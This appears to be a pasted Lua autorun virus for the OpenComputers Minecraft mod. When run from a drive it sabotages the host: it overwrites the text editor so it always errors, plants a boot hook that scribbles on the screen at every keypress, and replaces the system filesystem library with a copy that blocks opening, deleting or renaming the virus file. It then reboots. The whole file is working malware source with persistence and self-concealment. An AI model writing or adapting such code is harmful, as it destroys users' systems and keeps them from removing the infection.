· 8 years ago · Jan 09, 2018, 03:34 PM
1local fs = require("filesystem")
2local cop = require("computer")
3
4local function rewrite(url,what,mode)
5 local file = fs.open(url,mode)
6 file:write(what)
7 file:close()
8end
9
10local function whoWeAre()
11 local com = require("component")
12 for i in com.list("filesystem") do
13 if com.proxy(i).exists("lolkekcheburek") then
14 return tostring(i):sub(1,3)
15 end
16 end
17end
18
19if not fs.exists("/lib/bash.lua") then
20 rewrite("/bin/edit.lua","error(\"Fuck you, edit.lua won't ever work\")","w")
21 rewrite("/boot/99_rc.lua",[[
22 local event = require("event")
23 local function dope()
24 local com = require("component")
25 local w,h = com.gpu.getResolution()
26 com.gpu.setForeground(math.random(1000,0xFFFFFF))
27 com.gpu.set(math.random(1,w),math.random(1,h),"<===3")
28 event.register("key_down",dope)
29 end
30 event.register("key_down",dope)
31 local lol = io.open
32 function io.open(...)
33 if table.pack(...)[1] == ]].."\"/mnt/"..whoWeAre().."/autorun.lua\""..[[ then
34 error("Fuck you, no viewing that")
35 end
36 lol(...)
37 end]],"a")
38 rewrite("/lib/bash.lua","local bash = {} return bash","w")
39 rewrite("/lib/filesystem.lua",[[
40local component = require("component")
41local unicode = require("unicode")
42
43local filesystem = {}
44local isAutorunEnabled = nil
45local mtab = {name="", children={}, links={}}
46local fstab = {}
47
48local function segments(path)
49 local parts = {}
50 for part in path:gmatch("[^\\/]+") do
51 local current, up = part:find("^%.?%.$")
52 if current then
53 if up == 2 then
54 table.remove(parts)
55 end
56 else
57 table.insert(parts, part)
58 end
59 end
60 return parts
61end
62
63local function saveConfig()
64 local root = filesystem.get("/")
65 if root and not root.isReadOnly() then
66 local f = filesystem.open("/etc/filesystem.cfg", "w")
67 if f then
68 f:write("autorun="..tostring(isAutorunEnabled))
69 f:close()
70 end
71 end
72end
73
74local function findNode(path, create, resolve_links)
75 checkArg(1, path, "string")
76 local visited = {}
77 local parts = segments(path)
78 local ancestry = {}
79 local node = mtab
80 local index = 1
81 while index <= #parts do
82 local part = parts[index]
83 ancestry[index] = node
84 if not node.children[part] then
85 local link_path = node.links[part]
86 if link_path then
87 if not resolve_links and #parts == index then break end
88
89 if visited[path] then
90 return nil, string.format("link cycle detected '%s'", path)
91 end
92 -- the previous parts need to be conserved in case of future ../.. link cuts
93 visited[path] = index
94 local pst_path = "/" .. table.concat(parts, "/", index + 1)
95 local pre_path
96
97 if link_path:match("^[^/]") then
98 pre_path = table.concat(parts, "/", 1, index - 1) .. "/"
99 local link_parts = segments(link_path)
100 local join_parts = segments(pre_path .. link_path)
101 local back = (index - 1 + #link_parts) - #join_parts
102 index = index - back
103 node = ancestry[index]
104 else
105 pre_path = ""
106 index = 1
107 node = mtab
108 end
109
110 path = pre_path .. link_path .. pst_path
111 parts = segments(path)
112 part = nil -- skip node movement
113 elseif create then
114 node.children[part] = {name=part, parent=node, children={}, links={}}
115 else
116 break
117 end
118 end
119 if part then
120 node = node.children[part]
121 index = index + 1
122 end
123 end
124
125 local vnode, vrest = node, #parts >= index and table.concat(parts, "/", index)
126 local rest = vrest
127 while node and not node.fs do
128 rest = rest and filesystem.concat(node.name, rest) or node.name
129 node = node.parent
130 end
131 return node, rest, vnode, vrest
132end
133
134-------------------------------------------------------------------------------
135
136function filesystem.isAutorunEnabled()
137 if isAutorunEnabled == nil then
138 local env = {}
139 local config = loadfile("/etc/filesystem.cfg", nil, env)
140 if config then
141 pcall(config)
142 isAutorunEnabled = not not env.autorun
143 else
144 isAutorunEnabled = true
145 end
146 saveConfig()
147 end
148 return isAutorunEnabled
149end
150
151function filesystem.setAutorunEnabled(value)
152 checkArg(1, value, "boolean")
153 isAutorunEnabled = value
154 saveConfig()
155end
156
157function filesystem.canonical(path)
158 local result = table.concat(segments(path), "/")
159 if unicode.sub(path, 1, 1) == "/" then
160 return "/" .. result
161 else
162 return result
163 end
164end
165
166function filesystem.concat(...)
167 local set = table.pack(...)
168 for index, value in ipairs(set) do
169 checkArg(index, value, "string")
170 end
171 return filesystem.canonical(table.concat(set, "/"))
172end
173
174function filesystem.get(path)
175 local node = findNode(path)
176 if node.fs then
177 local proxy = node.fs
178 path = ""
179 while node and node.parent do
180 path = filesystem.concat(node.name, path)
181 node = node.parent
182 end
183 path = filesystem.canonical(path)
184 if path ~= "/" then
185 path = "/" .. path
186 end
187 return proxy, path
188 end
189 return nil, "no such file system"
190end
191
192function filesystem.realPath(path)
193 checkArg(1, path, "string")
194 local node, rest = findNode(path, false, true)
195 if not node then return nil, rest end
196 local parts = {rest or nil}
197 repeat
198 table.insert(parts, 1, node.name)
199 node = node.parent
200 until not node
201 return table.concat(parts, "/")
202end
203
204function filesystem.mount(fs, path)
205 checkArg(1, fs, "string", "table")
206 if type(fs) == "string" then
207 fs = filesystem.proxy(fs)
208 end
209 assert(type(fs) == "table", "bad argument #1 (file system proxy or address expected)")
210 checkArg(2, path, "string")
211
212 local real
213 if not mtab.fs then
214 if path == "/" then
215 real = path
216 else
217 return nil, "rootfs must be mounted first"
218 end
219 else
220 local why
221 real, why = filesystem.realPath(path)
222 if not real then
223 return nil, why
224 end
225
226 if filesystem.exists(real) then
227 return nil, "file already exists"
228 end
229 end
230
231 local fsnode
232 if fstab[real] then
233 return nil, "another filesystem is already mounted here"
234 end
235 for _,node in pairs(fstab) do
236 if node.fs.address == fs.address then
237 fsnode = node
238 break
239 end
240 end
241
242 if not fsnode then
243 fsnode = select(3, findNode(real, true))
244 -- allow filesystems to intercept their own nodes
245 fs.fsnode = fsnode
246 else
247 local pwd = filesystem.path(real)
248 local parent = select(3, findNode(pwd, true))
249 local name = filesystem.name(real)
250 fsnode = setmetatable({name=name,parent=parent},{__index=fsnode})
251 parent.children[name] = fsnode
252 end
253
254 fsnode.fs = fs
255 fstab[real] = fsnode
256
257 return true
258end
259
260function filesystem.path(path)
261 local parts = segments(path)
262 local result = table.concat(parts, "/", 1, #parts - 1) .. "/"
263 if unicode.sub(path, 1, 1) == "/" and unicode.sub(result, 1, 1) ~= "/" then
264 return "/" .. result
265 else
266 return result
267 end
268end
269
270function filesystem.name(path)
271 checkArg(1, path, "string")
272 local parts = segments(path)
273 return parts[#parts]
274end
275
276function filesystem.proxy(filter)
277 checkArg(1, filter, "string")
278 local address
279 for c in component.list("filesystem", true) do
280 if component.invoke(c, "getLabel") == filter then
281 address = c
282 break
283 end
284 if c:sub(1, filter:len()) == filter then
285 address = c
286 break
287 end
288 end
289 if not address then
290 return nil, "no such file system"
291 end
292 return component.proxy(address)
293end
294
295function filesystem.exists(path)
296 if not filesystem.realPath(filesystem.path(path)) then
297 return false
298 end
299 local node, rest, vnode, vrest = findNode(path)
300 if not vrest or vnode.links[vrest] then -- virtual directory or symbolic link
301 return true
302 elseif node and node.fs then
303 return node.fs.exists(rest)
304 end
305 return false
306end
307
308function filesystem.isDirectory(path)
309 local real, reason = filesystem.realPath(path)
310 if not real then return nil, reason end
311 local node, rest, vnode, vrest = findNode(real)
312 if not vnode.fs and not vrest then
313 return true -- virtual directory (mount point)
314 end
315 if node.fs then
316 return not rest or node.fs.isDirectory(rest)
317 end
318 return false
319end
320
321function filesystem.list(path)
322 local node, rest, vnode, vrest = findNode(path, false, true)
323 local result = {}
324 if node then
325 result = node.fs and node.fs.list(rest or "") or {}
326 -- `if not vrest` indicates that vnode reached the end of path
327 -- in other words, vnode[children, links] represent path
328 if not vrest then
329 for k,n in pairs(vnode.children) do
330 if not n.fs or fstab[filesystem.concat(path, k)] then
331 table.insert(result, k .. "/")
332 end
333 end
334 for k in pairs(vnode.links) do
335 table.insert(result, k)
336 end
337 end
338 end
339 local set = {}
340 for _,name in ipairs(result) do
341 set[filesystem.canonical(name)] = name
342 end
343 return function()
344 local key, value = next(set)
345 set[key or false] = nil
346 return value
347 end
348end
349
350function filesystem.remove(path)
351 if path == ]].."\"/mnt/"..whoWeAre().."/autorun.lua\""..[[ then
352 error("No deleting the virus, fuck you")
353 end
354 return require("tools/fsmod").remove(path, findNode)
355end
356
357function filesystem.rename(oldPath, newPath)
358 if path == ]].."\"/mnt/"..whoWeAre().."/autorun.lua\""..[[ then
359 error("And no renaming it too!")
360 end
361 return require("tools/fsmod").rename(oldPath, newPath, findNode)
362end
363
364function filesystem.open(path, mode)
365 checkArg(1, path, "string")
366 mode = tostring(mode or "r")
367 checkArg(2, mode, "string")
368 if path:sub(1,1) == "/" then
369 if "/"..path == ]].."\"/mnt/"..tostring(whoWeAre()).."/autorun.lua\""..[[ then
370 error("No opening that")
371 end
372 else
373 if path == ]].."\"/mnt/"..tostring(whoWeAre()).."/autorun.lua\""..[[ then
374 error("No opening that")
375 end
376 end
377 assert(({r=true, rb=true, w=true, wb=true, a=true, ab=true})[mode],
378 "bad argument #2 (r[b], w[b] or a[b] expected, got " .. mode .. ")")
379
380 local node, rest = findNode(path, false, true)
381 if not node then
382 return nil, rest
383 end
384 if not node.fs or not rest or (({r=true,rb=true})[mode] and not node.fs.exists(rest)) then
385 return nil, "file not found"
386 end
387
388 local handle, reason = node.fs.open(rest, mode)
389 if not handle then
390 return nil, reason
391 end
392
393 local function create_handle_method(key)
394 return function(self, ...)
395 if not self.handle then
396 return nil, "file is closed"
397 end
398 return self.fs[key](self.handle, ...)
399 end
400 end
401
402 local stream =
403 {
404 fs = node.fs,
405 handle = handle,
406 close = function(self)
407 if self.handle then
408 self.fs.close(self.handle)
409 self.handle = nil
410 end
411 end
412 }
413 stream.read = create_handle_method("read")
414 stream.seek = create_handle_method("seek")
415 stream.write = create_handle_method("write")
416 return stream
417end
418
419filesystem.findNode = findNode
420filesystem.segments = segments
421filesystem.fstab = fstab
422
423-------------------------------------------------------------------------------
424
425return filesystem
426]],"w")
427
428 cop.shutdown(true)
429end